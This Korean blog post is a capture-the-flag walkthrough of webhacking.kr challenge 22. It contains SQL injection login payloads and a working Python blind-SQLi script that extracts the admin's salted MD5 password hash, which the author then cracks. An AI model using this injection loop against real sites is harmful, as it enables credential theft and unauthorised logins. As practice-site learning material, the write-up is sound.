22번문제 기본화면

 

1. 문제풀이

  • 이번문제는 SQLi를 이용해 admin 계정으로 로그인을 우회하는 문제이다.
  • 먼저 회원가입을 통해 계정을 하나 생성해 정상적으로 로그인을 해보겠다.

 

  • red 계정으로 회원가입 후 로그인을 해보니 설정한 비밀번호가 해시화되어서 화면에 출력된다.
  • hash값으로 보았을 때 md5인것으로 추측된다.
  • 해당 해시값을 md5복호화 사이트에서 복호화 해본 결과 다음과 같이 나온다.

복호화 결과

  • 설정한 비밀번호는 '1234' 이지만 뒤에 apple이 같이 출력되는것으로 보아 apple은 salt값으로 추측된다.
  • salt란 보안강화를 위해 비밀번호 뒤에 임의의 문자를 덧붙이는 것이다.
  • 그럼 이제 admin계정으로 로그인 우회를 하기 위해 공격을 시도해보겠다.

 

참인 결과

  • admin' or '1'='1# 구문을 대입해 공격을 시도해보니 로그인이 되지는 않지만 위와같은 화면이 출력된다.

 

거짓인 결과

  • admin' and '1'='1# 구문을 대입해 공격을 시도해보니 위와같은 화면이 출력된다.
  • 따라서, 참일경우 Wron password 구문이 출력되고, 거짓일 경우 Login Fail 이 출력되므로 참/거짓이 다르게 출력된다.
  • 이러한 경우 우리는 Blind SQLi를 시도해볼 수 있다.
  • 프록시 도구를 이용해 먼저 로그인 요청시 어떤 파라미터가 전송되는지를 다음과  같이 먼저 확인한다.

 

  • 로그인 요청 시 uuid, pw 파라미터가 POST 방식으로 전달되는것을 확인할 수 있다.
  • 위 정보들을 바탕으로 자동화 공격을 시도할 파이썬 코드를 작성한다.

파이썬 코드

import requests
url = 'https://webhacking.kr/challenge/bonus-2/index.php' #url 주소를 입력
cookies = {'PHPSESSID':''} #세션 쿠키를 입력
def find_pw_len():
    pw_len = 0
    while 1:
        pw_len = pw_len+1
        value = "admin' and length(pw) = {}#".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        params = {'uuid': value} # uuid에 Payload 코드 삽입 
        response = requests.post(url, data=params, cookies=cookies) #POST를 통해 전달
        print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
        print(value) # 전달되는 Payload 코드 확인
        if "Wrong" in response.text: 
            break
    return pw_len #pw 길이 반환 

def find_pw_str(pw_len):
    pw_str = ""
    for len in range(1,pw_len+1):
        for ascii in range(33,127): 
            value = "admin' and (ascii(substring(pw,{},1))>{})#".format(len,ascii)  # 반복하면서 pw를 substring 한다음 ascii로 변환한 값을 통해 비교해서 정답을 찾아냄
            params = {'uuid': value}  # uuid에 Payload 코드 삽입 
            response = requests.post(url, data=params, cookies=cookies)  # POST를 통해 전달
            print(response.status_code)  # 응답 코드 확인 200번아니면 오류 상태
            print(value)  # 전달되는 Payload 코드 확인
            if "Fail" in response.text:  
                pw_str+=chr(ascii) #참이라면 ascii코드를 char형으로 변경해서 저장
                break
        
    return pw_str #한 문자에 대한 검색이 끝날시 엔터 처리
if __name__ == '__main__':
    print("비밀번호 : \n"+find_pw_str(find_pw_len()))
  • 위 코드를 실행시키면 다음과 같이 해시화된 비밀번호를 알 수 있다.

 

  • 실제 비밀번호를 알아내기 위해서 해시값을 아까와 같이 복호화 한다.

 

  • 복호화를 해본 결과 wowapple 이라는 실제 비밀번호가 출력된다.
  • 하지만 apple은 salt값이니 제외하고 실제 비밀번호는 wow이다.
  • 이제 필요한것을 다 얻었으니 굳이 로그인 우회가 아니라 그냥 비밀번호를 치고 들어가면 된다.

 

admin계정으로 로그인 성공

 

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

WebHacking.kr(#40)  (1) 2023.04.24
WebHacking.kr(#47)  (0) 2023.04.13
WebHacking.kr(#25)  (0) 2023.04.13
Lord of SQLi(#12 darkknight)  (0) 2023.01.05
Lord of SQLi(#11 golem)  (0) 2023.01.04

+ Recent posts